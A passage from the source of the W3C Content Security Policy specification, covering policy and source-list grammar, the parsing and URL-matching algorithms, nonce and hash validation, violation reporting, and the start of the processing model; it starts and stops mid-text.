   ██    ██     ██    ███\n      ██    ██    ██  ████    ██    █████████   ██ ██\n██    ██    ██    ██   ███    ██    ██     ██  ██   ██\n ██████     ██    ██    ██    ██    ██     ██ ██     ██\n-->\n<section>\n  <h2 id=\"syntax-and-algorithms\">Syntax and Algorithms</h2>\n  <section>\n    <h3 id=\"policy-syntax\">Policy Syntax</h3>\n\n    A Content Security Policy consists of a U+003B SEMICOLON\n    (<code>;</code>) delimited list of directives. Each <a>directive</a>\n    consists of a <a>directive name</a> and (optionally) a\n    <a>directive value</a>, defined by the following ABNF:\n\n    <pre>\n      <dfn>policy-token</dfn>    = [ <a>directive-token</a> *( \";\" [ <a>directive-token</a> ] ) ]\n      <dfn>directive-token</dfn> = *WSP [ <a>directive-name</a> [ WSP <a>directive-value</a> ] ]\n      <dfn>directive-name</dfn>  = 1*( ALPHA / DIGIT / \"-\" )\n      <dfn>directive-value</dfn> = *( WSP / &lt;VCHAR except \";\" and \",\"&gt; )\n    </pre>\n\n    <section>\n      <h4 id=\"policy-parsing\">Parsing Policies</h4>\n\n      To <dfn>parse the policy</dfn> <var>policy</var>, the user agent MUST\n      use an algorithm equivalent to the following:\n\n      <ol>\n        <li>Let the <var>set of directives</var> be the empty set.</li>\n\n        <li>For each non-empty token returned by\n        <a lt=\"strictly split a string\" spec=\"HTML5\">strictly splitting</a>\n        the string <var>policy</var> on the character U+003B SEMICOLON\n        (<code>;</code>):\n          <ol>\n            <li><a spec=\"HTML5\">Skip whitespace</a>.</li>\n\n            <li><a spec=\"HTML5\">Collect a sequence of characters</a> that are\n            not <a spec=\"HTML5\">space characters</a>. The collected characters\n            are the <var>directive name</var>.</li>\n\n            <li>If there are characters remaining in <var>token</var>,\n            skip ahead exactly one character (which must be a\n            <a spec=\"HTML5\">space character</a>).</li>\n\n            <li>The remaining characters in <var>token</var> (if any) are\n            the <var>directive value</var>.</li>\n\n            <li>If the <var>set of directives</var> already contains a\n            directive whose name is a case insensitive match for\n            <var>directive name</var>, ignore this instance of the directive\n            and continue to the next token.</li>\n\n            <li>Add a <var>directive</var> to the <var>set of\n            directives</var> with name <var>directive name</var> and value\n            <var>directive value</var>.</li>\n          </ol>\n        </li>\n\n        <li>Return the <var>set of directives</var>.\n      </ol>\n    </section>\n  </section>\n\n  <section>\n    <h3 id=\"source-list-syntax\">Source List Syntax</h3>\n\n    Many CSP directives use a value consisting of a <dfn>source\n    list</dfn>, defined in the ABNF grammar below.\n\n    Each <dfn>source expression</dfn> in the source list represents a\n    location from which content of the specified type can be retrieved.\n    For example, the source expression <code>'none'</code> represents\n    the empty set of URLs, and the source expression\n    <code>'unsafe-inline'</code> represents content supplied inline in the\n    resource itself.\n\n    <pre>\n      <dfn>source-list</dfn>       = *WSP [ <a>source-expression</a> *( 1*WSP <a>source-expression</a> ) *WSP ]\n                        / *WSP \"'none'\" *WSP\n      <dfn>source-expression</dfn> = <a>scheme-source</a> / <a>host-source</a> / <a>keyword-source</a> / <a>nonce-source</a> / <a>hash-source</a>\n      <dfn>scheme-source</dfn>     = <a>scheme-part</a> \":\"\n      <dfn>host-source</dfn>       = [ <a>scheme-part</a> \"://\" ] <a>host-part</a> [ <a>port-part</a> ] [ <a>path-part</a> ]\n      <dfn>keyword-source</dfn>    = \"'self'\" / \"'unsafe-inline'\" / \"'unsafe-eval'\"\n      <dfn>base64-value</dfn>      = 1*( ALPHA / DIGIT / \"+\" / \"/\" )*2( \"=\" )\n      <dfn>nonce-value</dfn>       = <a>base64-value</a>\n      <dfn>hash-value</dfn>        = <a>base64-value</a>\n      <dfn>nonce-source</dfn>      = \"'nonce-\" <a>nonce-value</a> \"'\"\n      <dfn>hash-algo</dfn>         = \"sha256\" / \"sha384\" / \"sha512\"\n      <dfn>hash-source</dfn>       = \"'\" <a>hash-algo</a> \"-\" <a>hash-value</a> \"'\"\n      <dfn>scheme-part</dfn>       = &lt;scheme production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">RFC 3986, section 3.1</a>&gt;\n      <dfn>host-part</dfn>         = \"*\" / [ \"*.\" ] 1*<a>host-char</a> *( \".\" 1*<a>host-char</a> )\n      <dfn>host-char</dfn>         = ALPHA / DIGIT / \"-\"\n      <dfn>path-part</dfn>         = &lt;path production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.3\">RFC 3986, section 3.3</a>&gt;\n      <dfn>port-part</dfn>         = \":\" ( 1*DIGIT / \"*\" )\n    </pre>\n\n    If the policy contains a <code><a>nonce-source</a></code> expression, the\n    server MUST generate a fresh value for the <code><a>nonce-value</a></code>\n    directive at random and independently each time it transmits a policy.\n    The generated value SHOULD be at least 128 bits long (before encoding),\n    and generated via a cryptographically secure random number generator.\n    This requirement ensures that the <code><a>nonce-value</a></code> is\n    difficult for an attacker to predict.\n\n    Note: Using a nonce to whitelist inline script or style is less secure than\n    not using a nonce, as nonces override the restrictions in the directive in\n    which they are present. An attacker who can gain access to the nonce can\n    execute whatever script they like, whenever they like. That said, nonces\n    provide a substantial improvement over <code>'unsafe-inline'</code> when\n    layering a content security policy on top of old code. When considering\n    <code>'unsafe-inline'</code>, authors are encouraged to consider nonces (or\n    hashes) instead.\n\n    The <code><a>host-char</a></code> production intentionally contains only\n    ASCII characters; internationalized domain names cannot be entered\n    directly into a policy string, but instead MUST be Punycode-encoded\n    [[!RFC3492]]. For example, the domain <code>üüüüüü.de</code> would be\n    encoded as <code>xn--tdaaaaaa.de</code>.\n\n    NOTE: Though IP addresses do match the grammar above, only\n    <code>127.0.0.1</code> will actually match a URL when used in a source\n    expression (see [[#match-source-expression]] for details). The security\n    properties of IP addresses are suspect, and authors ought to prefer\n    hostnames to IP addresses whenever possible.\n\n    <section>\n      <h4 id=\"source-list-parsing\">Parsing Source Lists</h4>\n\n      To <dfn id=\"parse-a-source-list\">parse a source list</dfn>\n      <var>source list</var>, the user agent MUST use an algorithm\n      equivalent to the following:\n\n      <ol>\n        <li><a spec=\"HTML5\">Strip leading and trailing whitespace</a> from\n        <var>source list</var>.</li>\n\n        <li>If <var>source list</var> is an <a>ASCII case-insensitive match</a>\n        for the string <code>'none'</code> (including the quotation\n        marks), return the empty set.</li>\n\n        <li>Let <var>set of source expressions</var> be the empty\n        set.</li>\n\n        <li>For each token returned by\n        <a lt=\"split a string on spaces\" spec=\"HTML5\">splitting <var>source\n        list</var> on spaces</a>, if the token matches the grammar for\n        <code><a>source-expression</a></code>, add the token to the <var>set\n        of source expressions</var>.</li>\n\n        <li>Return the <var>set of source expressions</var>.</li>\n      </ol>\n\n      Note: Characters like U+003B SEMICOLON (<code>;</code>) and\n      U+002C COMMA (<code>,</code>) cannot appear in source expressions\n      directly: if you'd like to include these characters in a source\n      expression, they must be <a lt=\"percent encode\" spec=\"HTML5\">percent\n      encoded</a> as <code>%3B</code> and <code>%2C</code> respectively.\n    </section>\n\n    <section>\n      <h4 id=\"match-source-expression\">Matching Source Expressions</h4>\n\n      A URL <var>url</var> is said to <dfn>match a source expression</dfn> for\n      a <var>protected resource</var> if the following algorithm returns\n      <em>does match</em>:\n\n      <ol>\n        <li>\n          Let <var>url</var> be the result of processing the URL through the\n          <a>URL parser</a>.\n        </li>\n\n        <li>\n          If the source expression consists of a single U+002A ASTERISK\n          character (<code>*</code>), and <var>url</var>'s <a>scheme</a> is not\n          one of <code>blob</code>, <code>data</code>, <code>filesystem</code>,\n          then return <em>does match</em>.\n        </li>\n\n        <li>\n          If the source expression matches the grammar for\n          <code><a>scheme-source</a></code>:\n\n          <ol>\n            <li>\n              If <var>url</var>'s <a>scheme</a> is an <a>ASCII case-insensitive\n              match</a> for the source expression's\n              <code><a>scheme-part</a></code>, return <em>does match</em>.\n            </li>\n\n            <li>\n              Otherwise, return <em>does not match</em>.\n            </li>\n          </ol>\n        </li>\n        <li>\n          If the source expression matches the grammar for\n          <code><a>host-source</a></code>:\n\n          <ol>\n            <li>\n              If <var>url</var>'s <a>host</a> is <code>null</code>,\n              return <em>does not match</em>.\n            </li>\n            <li>\n              Let <var>url-scheme</var>, <var>url-host</var>, and\n              <var>url-port</var> be the <a>scheme</a>, <a>host</a>, and\n              <a>port</a> of <var>url</var>'s origin, respectively.\n\n              Note: If <var>url</var> doesn't specify a port, then its origin's\n              port will be the <a>default port</a> for <var>url</var>'s\n              <a>scheme</a>.\n            </li>\n            <li>\n              Let <var>url-path-list</var> be the <a>path</a> of <var>url</var>.\n            </li>\n            <li>\n              If the source expression has a <code><a>scheme-part</a></code>\n              that is not a case insensitive match for <var>url-scheme</var>,\n              then return <em>does not match</em>.\n            </li>\n            <li>\n              If the source expression does <strong>not</strong> have a\n              scheme, return <em>does not match</em> if any of the following\n              are true:\n\n              <ol>\n                <li>\n                  The scheme of the protected resource's URL is a case\n                  insensitive match for <code>HTTP</code>, and\n                  <var>url-scheme</var> is <strong>not</strong> a case\n                  insensitive match for either <code>HTTP</code> or\n                  <code>HTTPS</code>.\n                </li>\n                <li>\n                  The scheme of the protected resource's URL is\n                  <strong>not</strong> a case insensitive match for\n                  <code>HTTP</code>, and <var>url-scheme</var> is\n                  <strong>not</strong> a case insensitive match\n                  for the scheme of the protected resource's URL.\n                </li>\n              </ol>\n            </li>\n            <li>\n              If the first character of the source expression's\n              <code><a>host-part</a></code> is an U+002A ASTERISK character\n              (<code>*</code>) and the remaining characters, including the\n              leading U+002E FULL STOP character (<code>.</code>), are not a\n              case insensitive match for the rightmost characters of\n              <var>url-host</var>, then return <em>does not match</em>.\n            </li>\n\n            <li>\n              If the first character of the source expression's\n              <code><a>host-part</a></code> is <em>not</em> an U+002A ASTERISK\n              character (<code>*</code>) and <var>url-host</var> is not a\n              case insensitive match for the source expression's\n              <code><a>host-part</a></code>, then return <em>does not\n              match</em>.\n            </li>\n\n            <li>\n              If the source expression's <code><a>host-part</a></code> matches\n              the <code><a>IPv4address</a></code> production from [[!RFC3986]],\n              and is not <code>127.0.0.1</code>, or is an <a>IPv6 address</a>,\n              return <em>does not match</em>.\n\n              Note: A future version of this specification may allow literal\n              IPv6 and IPv4 addresses, depending on usage and demand. Given the\n              weak security properties of IP addresses in relation to named\n              hosts, however, authors are encouraged to prefer the latter\n              whenever possible.\n            </li>\n\n            <li>\n              If the source expression does <strong>not</strong> contain\n              a <code>port-part</code> and <var>url-port</var> is not the\n              <a>default port</a> for <var>url-scheme</var>, then return\n              <em>does not match</em>.\n            </li>\n\n            <li>\n              If the source expression does contain a <code>port-part</code>,\n              then return <em>does not match</em> if both of the following\n              are true:\n\n              <ol>\n                <li>\n                  The <code><a>port-part</a></code> does <strong>not</strong>\n                  contain an U+002A ASTERISK character. (<code>*</code>)\n                </li>\n                <li>\n                  The <code><a>port-part</a></code> does <strong>not</strong>\n                  represent the same number as <var>url-port</var>.\n                </li>\n              </ol>\n            </li>\n\n            <li>\n              If the source expression contains a non-empty\n              <code><a>path-part</a></code>, and the URL is <em>not</em> the\n              result of a redirect, then:\n\n              <ol>\n                <li>\n                  Let <var>exact-match</var> be <code>true</code> if the final\n                  character of <var>path-part</var> is not the U+002F SOLIDUS\n                  character (<code>/</code>), and <code>false</code> otherwise.\n                </li>\n\n                <li>\n                  Let <var>source-expression-path-list</var> be the result of\n                  splitting <var>path-part</var> on the U+002F SOLIDUS character\n                  (<code>/</code>).\n                </li>\n\n                <li>\n                  If <var>source-expression-path-list</var>'s length is greater\n                  than <var>url-path-list</var>'s length, return <em>does not\n                  match</em>.\n                </li>\n\n                <li>\n                  For each <var>entry</var> in\n                  <var>source-expression-path-list</var>:\n\n                  <ol>\n                    <li>\n                      <a>Percent decode</a> <var>entry</var>.\n                    </li>\n                    <li>\n                      <a>Percent decode</a> the first item in\n                      <var>url-path-list</var>.\n                    </li>\n                    <li>\n                      If <var>entry</var> is not an <a>ASCII case-insensitive\n                      match</a> for the first item in <var>url-path-list</var>,\n                      return <em>does not match</em>.\n                    </li>\n                    <li>\n                      Pop the first item in <var>url-path-list</var> off the\n                      list.\n                    </li>\n                  </ol>\n                </li>\n\n                <li>\n                  If <var>exact-match</var> is <code>true</code>, and\n                  <var>url-path-list</var> is not empty, return <em>does not\n                  match</em>.\n                </li>\n              </ol>\n            </li>\n\n            <li>\n              Otherwise, return <em>does match</em>.\n            </li>\n          </ol>\n        </li>\n\n        <li>\n          If the source expression is a case insensitive match for\n          <code>'self'</code> (including the quotation marks), then:\n\n          <ol>\n            <li>\n              Return <em>does match</em> if <a lt=\"origin of a url\">the\n              origin of <var>url</var></a> matches\n              <a lt=\"origin of a url\">the origin of <var>protected\n              resource</var>'s URL</a>.\n\n              Note: This includes IP addresses. That is, a document at\n              <code>https://111.111.111.111/</code> with a <a>policy</a> of\n              <code>img-src 'self'</code> can load the image\n              <code>https://111.111.111.111/image.png</code>, as the origins\n              match.\n            </li>\n          </ol>\n        </li>\n\n        <li>\n          Otherwise, return <em>does not match</em>.\n        </li>\n      </ol>\n\n      Note: This algorithm treats the URLs <code>https://example.com/</code>\n      and <code>https://example.com./</code> as <em>non-matching</em>. This\n      is consistent with browser behavior which treats documents served from\n      these URLs as existing in distinct origins.\n\n      A URL <var>url</var> is said to <dfn>match a source list</dfn> for\n      <var>protected resource</var> if at least one source expression in the set\n      of source expressions obtained by <a lt=\"parse a source list\">parsing the\n      source list</a> <a lt=\"match a source expression\">matches <var>url</var>\n      for <var>protected resource</var></a>.\n\n      Note: No URLs match an empty set of source expressions, such as the set\n      obtained by parsing the source list <code>'none'</code>.\n\n      <section class=\"informative\">\n        <h5 id=\"source-list-guid-matching\">\n          Security Considerations for GUID URL schemes\n        </h5>\n\n        <em>This section is not normative.</em>\n\n        As defined above, special URL schemes that refer to specific pieces of\n        unique content, such as \"data:\", \"blob:\" and \"filesystem:\" are\n        excluded from matching a policy of <code>*</code> and must be\n        explicitly listed. Policy authors should note that the content of\n        such URLs is often derived from a response body or execution in a\n        Document context, which may be unsafe. Especially for the\n        <code><a>default-src</a></code> and <code><a>script-src</a></code>\n        directives, policy authors should be aware that allowing \"data:\" URLs\n        is equivalent to <code>unsafe-inline</code> and allowing \"blob:\" or\n        \"filesystem:\" URLs is equivalent to <code>unsafe-eval</code>.\n      </section>\n\n      <section class=\"informative\">\n        <h5 id=\"source-list-path-patching\">Path Matching</h5>\n\n        <em>This section is not normative.</em>\n\n        The rules for matching source expressions that contain paths\n        are simpler than they look: paths that end with the <code>'/'</code>\n        character match all files in a directory and its subdirectories. Paths\n        that do not end with the <code>'/'</code> character match only one\n        specific file. A few examples should make this clear:\n\n        <ol>\n          <li>The source expression <code>example.com</code> has no path,\n          and therefore matches any file served from that host.</li>\n\n          <li>The source expression <code>example.com/scripts/</code>\n          matches any file in the <code>scripts</code> directory of\n          <code>example.com</code>, and any of its subdirectories. For\n          example, both <code>https://example.com/scripts/file.js</code>\n          and <code>https://example.com/scripts/js/file.js</code> would\n          match.</li>\n\n          <li>The source expression\n          <code>example.com/scripts/file.js</code> matches only the file\n          named <code>file.js</code> in the <code>scripts</code> directory\n          of <code>example.com</code>.</li>\n\n          <li>Likewise, the source expression <code>example.com/js</code>\n          matches only the file named <code>js</code>. In particular, note\n          that it would not match files inside a directory named\n          <code>js</code>. Files like <code>example.com/js/file.js</code>\n          would be matched only if the source expression ended with a\n          trailing \"/\", as in <code>example.com/js/</code>.</li>\n        </ol>\n\n        Note: Query strings have no impact on matching: the source\n        expression <code>example.com/file</code> matches each of\n        <code>https://example.com/file</code>,\n        <code>https://example.com/file?key=value</code>,\n        <code>https://example.com/file?key=notvalue</code>, and\n        <code>https://example.com/file?notkey=notvalue</code>.\n      </section>\n      <section class=\"informative\">\n        <h5 id=\"source-list-paths-and-redirects\">Paths and Redirects</h5>\n\n        To avoid leaking path information cross-origin (as discussed\n        in Egor Homakov's\n        <a href=\"http://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html\">Using Content-Security-Policy for Evil</a>),\n        the matching algorithm ignores the path component of a source\n        expression if the resource being loaded is the result of a\n        redirect. For example, given a page with an active policy of\n        <code><a>img-src</a> example.com not-example.com/path</code>:\n\n        <ul>\n          <li>Directly loading <code>https://not-example.com/not-path</code>\n          would fail, as it doesn't match the policy.</li>\n          <li>Directly loading <code>https://example.com/redirector</code>\n          would pass, as it matches <code>example.com</code>.</li>\n          <li>Assuming that <code>https://example.com/redirector</code>\n          delivered a redirect response pointing to <code>https://not-example.com/not-path</code>,\n          the load would succeed, as the initial URL matches <code>example.com</code>,\n          and the redirect target matches <code>not-example.com/path</code>\n          if we ignore its path component.</li>\n        </ul>\n\n        This restriction reduces the granularity of a document's\n        policy when redirects are in play, a necessary compromise to\n        avoid brute-forced information leaks of this type.\n\n        The relatively long thread\n        <a href=\"http://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html\">\"Remove paths from CSP?\"</a>\n        from public-webappsec@w3.org has more detailed discussion around\n        alternate proposals.\n      </section>\n    </section>\n\n    <section>\n      <h4 id=\"script-src-the-nonce-attribute\">\n        The <code>nonce</code> attribute\n      </h4>\n\n      Nonce sources require a new <code>nonce</code> attribute to be added to\n      both <{script}> and <{style}> elements.\n\n      <pre class=\"idl\">\n        partial interface HTMLScriptElement {\n          attribute DOMString nonce;\n        };\n      </pre>\n      <dl dfn-for=\"HTMLScriptElement\">\n        <dt><dfn attribute>nonce</dfn></dt>\n        <dd>This attribute <a spec=\"HTML5\">reflects</a> the value of the\n        element's <code><dfn element-attr for=\"script\">nonce</a></code>\n        content attribute.</dd>\n      </dl>\n      <pre class=\"idl\">\n        partial interface HTMLStyleElement {\n          attribute DOMString nonce;\n        };\n      </pre>\n      <dl dfn-for=\"HTMLStyleElement\">\n        <dt><dfn attribute>nonce</dfn></dt>\n        <dd>This attribute <a spec=\"HTML5\">reflects</a> the value of the\n        element's <code><dfn element-attr for=\"style\">nonce</a></code>\n        content attribute.</dd>\n      </dl>\n\n    </section>\n\n    <section>\n      <h4 id=\"source-list-valid-nonces\">Valid Nonces</h4>\n\n      An element has a <dfn>valid nonce</dfn> for a <var>set of source\n      expressions</var> if the value of the element's <{script/nonce}> attribute\n      after <a lt=\"strip leading and trailing whitespace\">stripping leading\n      and trailing whitespace</a> is a case-sensitive match for the\n      <code><a>nonce-value</a></code> component of at least one\n      <code><a>nonce-source</a></code> expression in <var>set of source\n      expressions</var>.\n    </section>\n\n    <section>\n      <h4 id=\"source-list-valid-hashes\">Valid Hashes</h4>\n\n      An <dfn>element's content</dfn> is <a spec=\"HTML5\">the script block's\n      source</a> for <{script}> elements, or the value of the element's\n      {{Node/textContent}} IDL attribute for non-<{script}> elements such as\n      <{style}>.\n\n      The <dfn>digest of <var>element</var>'s content</dfn> for is the result\n      of applying an <var>hashing algorithm</var> to the <a>element's content</a>.\n\n      To determine whether <var>element</var> has a <dfn>valid hash</dfn> for\n      a <var>set of source expressions</var>, execute the following steps:\n\n      <ol>\n        <li>Let <var>hashes</var> be a list of all\n        <code><a>hash-source</a></code> expressions in <var>set of source\n        expressions</var>.</li>\n\n        <li>For each <var>hash</var> in <var>hashes</var>:\n          <ol>\n            <li>Let <var>hashing algorithm</var> be:\n              <ul>\n                <li><a>SHA-256</a> if the <code><a>hash-algo</a></code>\n                component of <var>hash</var> is an <a>ASCII case-insensitive\n                match</a> for the string \"sha256\".</li>\n\n                <li><a>SHA-384</a> if the <code><a>hash-algo</a></code>\n                component of <var>hash</var> is an <a>ASCII case-insensitive\n                match</a> for the string \"sha384\".</li>\n\n                <li><a>SHA-512</a> if the <code><a>hash-algo</a></code>\n                component of <var>hash</var> is an <a>ASCII case-insensitive\n                match</a> for the string \"sha512\".</li>\n              </ul>\n            </li>\n\n            <li>Let <var>expected</var> be the <code><a>hash-value</a></code>\n            component of <var>hash</var>.</li>\n\n            <li>Let <var>actual</var> be the\n            <a href=\"https://tools.ietf.org/html/rfc4648#section-4\">base64\n            encoding</a> of the binary <a>digest of <var>element</var>'s\n            content</a> using the <var>hashing algorithm</var>.</li>\n\n            <li>If <var>actual</var> is a case-sensitive match for\n            <var>expected</var>, return <strong>true</strong> and abort these\n            steps.</li>\n          </ol>\n        </li>\n        <li>Return <strong>false</strong>.</li>\n      </ol>\n\n      Note: If an element has an invalid hash, it would be helpful\n      if the user agent reported the failure to the author by adding\n      a warning message containing the <var>actual</var> hash value.\n    </section>\n  </section>\n  <section>\n    <h3 id=\"media-type-list-syntax\">Media Type List Syntax</h3>\n\n    The <code><a>plugin-types</a></code> directive uses a value consisting\n    of a <dfn>media type list</dfn>.\n\n    Each <dfn>media type</dfn> in the media type list represents a specific\n    type of resource that can be retrieved and used to instantiate a\n    <a>plugin</a> in the protected resource.\n\n    <pre>\n      <dfn>media-type-list</dfn>   = <a>media-type</a> *( 1*WSP <a>media-type</a> )\n      <dfn>media-type</dfn>        = &lt;type from RFC 2045&gt; \"/\" &lt;subtype from RFC 2045&gt;\n    </pre>\n\n    <section>\n      <h4 id=\"media-type-list-parsing\">Parsing</h4>\n\n      To <dfn>parse a media type list</dfn> <var>media type list</var>, the\n      user agent MUST use an algorithm equivalent to the following:\n\n      <ol>\n        <li>Let the <var>set of media types</var> be the empty set.</li>\n\n        <li>For each token returned by\n        <a lt=\"split a string on spaces\" spec=\"HTML5\">splitting\n        <var>media type list</var> on spaces</a>, if the token matches the\n        grammar for <code><a>media-type</a></code>, add the token to the\n        <var>set of media types</var>. Otherwise ignore the token.</li>\n\n        <li>Return the <var>set of media types</var>.</li>\n      </ol>\n    </section>\n\n    <section>\n      <h4 id=\"media-type-list-matching\">Matching</h4>\n\n      A media type <dfn lt=\"match a media type list\">matches a media type\n      list</dfn> if, and only if, the media type is an <a>ASCII\n      case-insensitive match</a> for at least one token in the set of media\n      types obtained by <a lt=\"parse a media type list\">parsing the media\n      type list</a>.\n    </section>\n  </section>\n  <section>\n    <h3 id=\"violation-reports\">Reporting</h3>\n\n    To <dfn lt=\"strip uri for reporting|stripped for reporting\">strip\n    <var>uri</var> for reporting</dfn>, the user agent MUST use an\n    algorithm equivalent to the following:\n\n    <ol>\n      <li>If the <a>origin</a> of <var>uri</var> is a <a>globally unique\n      identifier</a> (for example, <var>uri</var> has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then\n      abort these steps, and return the ASCII serialization of\n      <var>uri</var>'s scheme.</li>\n\n      <li>If the <a>origin</a> of <var>uri</var> is not the same as the\n      <a>origin</a> of the protected resource, then abort these steps, and\n      return the\n      <a lt=\"ascii serialization of an origin\" spec=\"HTML5\">ASCII\n      serialization of <var>uri</var>'s origin</a>.</li>\n\n      <li>Return <var>uri</var>, with any <a spec=\"HTML5\">fragment</a>\n      component removed.</li>\n    </ol>\n\n    To <dfn lt=\"generate a violation report object|generating a violation report object\">generate a violation report object</dfn>,\n    the user agent MUST use an algorithm equivalent to the following:\n\n    <ol>\n      <li>Prepare a JSON object <var>violation</var> with the\n      following keys and values:\n\n        <dl>\n          <dt id=\"violation-report-blocked-uri\">blocked-uri</dt>\n          <dd>The originally requested URL of the resource that was\n          prevented from loading, <a>stripped for reporting</a>,\n          or the empty string if the resource has no URL (inline script and\n          inline style, for example).</dd>\n\n          <dt id=\"violation-report-document-uri\">document-uri</dt>\n          <dd>The <a lt=\"the document's address\" spec=\"HTML5\">address</a>\n          of the protected resource, <a>stripped for reporting</a>.</dd>\n\n          <dt id=\"violation-report-effective-directive\">effective-directive</dt>\n          <dd>The name of the policy directive that was violated. This will\n          contain the <a>directive</a> whose enforcement triggered the\n          violation (e.g. \"<code><a>script-src</a></code>\") even if that\n          directive does not explicitly appear in the policy, but is\n          implicitly activated via the <code><a>default-src</a></code>\n          directive.</dd>\n\n          <dt id=\"violation-report-original-policy\">original-policy</dt>\n          <dd>The original <a>policy</a>, as received by the user agent.</dd>\n\n          <dt id=\"violation-report-referrer\">referrer</dt>\n          <dd>The <a attribute for=\"Document\">referrer</a> attribute of the protected\n          resource, or the empty string if the protected resource has no\n          referrer.</dd>\n\n          <dt id=\"violation-report-status-code\">status-code</dt>\n          <dd>The <code>status-code</code> of the HTTP response that\n          contained the protected resource, if the protected resource was\n          obtained over HTTP. Otherwise, the number 0.</dd>\n\n          <dt id=\"violation-report-violated-directive\">violated-directive</dt>\n          <dd>The policy directive that was violated, as it appears in the\n          policy. This will contain the <code><a>default-src</a></code> directive\n          in the case of violations caused by falling back to the\n          <a>default sources</a> when enforcing\n          a directive.</dd>\n        </dl>\n      </li>\n\n      <li>If a specific line or a specific file can be identified as the\n      cause of the violation (for example, script execution that violates\n      the <code><a>script-src</a></code> directive), the user agent MAY add the\n      following keys and values to <var>violation</var>:\n\n        <dl>\n          <dt id=\"violation-report-source-file\"><dfn>source-file</dfn></dt>\n          <dd>The URL of the resource where the violation occurred,\n          <a>stripped for reporting</a>.</dd>\n\n          <dt id=\"violation-report-line-number\">line-number</dt>\n          <dd>The line number in <code><a>source-file</a></code> on which\n          the violation occurred.</dd>\n\n          <dt id=\"violation-report-column-number\">column-number</dt>\n          <dd>The column number in <code><a>source-file</a></code> on which\n          the violation occurred.</dd>\n        </dl>\n      </li>\n      <li>Return <var>violation</var>.</li>\n    </ol>\n\n    Note: <code>blocked-uri</code> will not contain the final location of a\n    resource that was blocked after one or more redirects. It instead will\n    contain only the location that the protected resource requested, before\n    any redirects were followed.\n\n    To <dfn>send violation reports</dfn>, the user agent MUST use an\n    algorithm equivalent to the following:\n\n    <ol>\n      <li>Prepare a <a>JSON object</a> <var>report object</var> with a single\n      key, <code>csp-report</code>, whose value is the result of <a>generating\n      a violation report object</a>.</li>\n\n      <li>Let <var>report body</var> be the <a>JSON stringification</a> of\n      <var>report object</var>.</li>\n\n      <li>For each <var>report URL</var> in the <a>set of report URLs</a>:\n        <ol>\n          <li>If the user agent has already sent a violation report for\n          the protected resource to <var>report URL</var>, and that report\n          contained an entity body that exactly matches\n          <var>report body</var>, the user agent MAY abort these\n          steps and continue to the next <var>report URL</var>.</li>\n\n          <li><a spec=\"HTML5\">Queue a task</a> to <a>fetch</a>\n          <var>report URL</var> from the origin of the protected resource,\n          with the synchronous flag <em>not</em> set, using HTTP method\n          <code>POST</code>, with a <code>Content-Type</code> header field\n          of <code>application/csp-report</code>, and an entity body\n          consisting of <var>report body</var>. If the origin of\n          <var>report URL</var> is <strong>not</strong> the same as the\n          origin of the protected resource, the block cookies flag MUST also\n          be set. The user agent MUST NOT follow redirects when fetching this\n          resource. (Note: The user agent ignores the fetched resource.)\n          The <a spec=\"HTML5\">task source</a> for these\n          <a spec=\"HTML5\">tasks</a> is the <dfn>Content Security Policy task\n          source</dfn>.</li>\n        </ol>\n      </li>\n    </ol>\n\n    To <dfn>report a violation</dfn>, the user agent MUST:\n\n    <ol>\n      <li><a>Fire a violation event</a> at the protected resource's\n      <code><a interface spec=\"HTML5\">Document</a></code>.</li>\n\n      <li>If the <a>set of report URLs</a> is non-empty, <a>send violation\n      reports</a> to each.</li>\n    </ol>\n\n    Note: This section of the specification should not be interpreted\n    as limiting user agents' ability to apply restrictions to violation\n    reports in order to limit data leakage above and beyond what these\n    algorithms specify. For example, a user agent might offer users the\n    option of disabling reporting entirely.\n  </section>\n</section>\n<!--\n████████  ████████   ███████   ██████  ████████  ██████   ██████  ████ ██    ██  ██████         ██     ██  ███████  ████████  ████████ ██\n██     ██ ██     ██ ██     ██ ██    ██ ██       ██    ██ ██    ██  ██  ███   ██ ██    ██        ███   ███ ██     ██ ██     ██ ██       ██\n██     ██ ██     ██ ██     ██ ██       ██       ██       ██        ██  ████  ██ ██              ████ ████ ██     ██ ██     ██ ██       ██\n████████  ████████  ██     ██ ██       ██████    ██████   ██████   ██  ██ ██ ██ ██   ████       ██ ███ ██ ██     ██ ██     ██ ██████   ██\n██        ██   ██   ██     ██ ██       ██             ██       ██  ██  ██  ████ ██    ██        ██     ██ ██     ██ ██     ██ ██       ██\n██        ██    ██  ██     ██ ██    ██ ██       ██    ██ ██    ██  ██  ██   ███ ██    ██        ██     ██ ██     ██ ██     ██ ██       ██\n██        ██     ██  ███████   ██████  ████████  ██████   ██████  ████ ██    ██  ██████         ██     ██  ███████  ████████  ████████ ████████\n-->\n<section>\n  <h2 id=\"processing-model\">Processing Model</h2>\n\n  To <dfn>enforce</dfn> a policy, the user agent MUST <a>parse the policy</a>\n  and enforce each of the directives contained in the policy, where the\n  specific requirements for enforcing each directive are defined separately\n  for each directive (See <a section href=\"#directives\"></a>, below).\n\n  Generally speaking, enforcing a directive prevents the protected\n  resource from performing certain actions, such as loading scripts from\n  URLs other than those indicated in a source list. These restrictions\n  make it more difficult for an attacker to abuse an injection\n  vulnerability in the resource because the attacker will be unable to\n  usurp the resource's privileges that have been restricted in this\n  way.\n\n  Note: User agents may allow users to modify or bypass policy enforcement\n  through user preferences, bookmarklets, third-party additions to the user\n  agent, and other such mechanisms.\n\n  To <dfn>monitor</dfn> a policy, the user agent MUST <a>parse the policy</a>\n  and monitor each of the directives contained in the policy.\n\n  Monitoring a directive does not prevent the protected resource from\n  undertaking any actions. Instead, any actions that would have been\n  prevented by the directives are allowed, but a violation report is\n  <a lt=\"report a violation\">generated and reported</a> to the\n  developer of the web application. Monitoring a policy is useful for\n  testing whether enforcing the policy will cause the web application to\n  malfunction.\n\n  A server MAY cause user agents to monitor one policy while enforcing\n  another policy by returning both <code><a>Content-Security-Policy</a></code>\n  and <code><a>Content-Security-Policy-Report-Only</a></code> header fields.\n  For example, if a server operator may wish to <a>enforce</a> one policy but\n  experiment with a stricter policy, she can monitor the stricter policy while\n  enforcing the original policy. Once the server operator is satisfied that\n  the stricter policy does not break the web application, the server operator\n  can start enforcing the stricter policy.\n\n  If the user agent monitors or enforces a policy that does not contain any\n  directives, the user agent SHOULD report a warning message in the\n  developer console.\n\n  If the user agent <a>monitors</a> or <a>enforces</a> a policy that contains\n  an unrecognized directive, 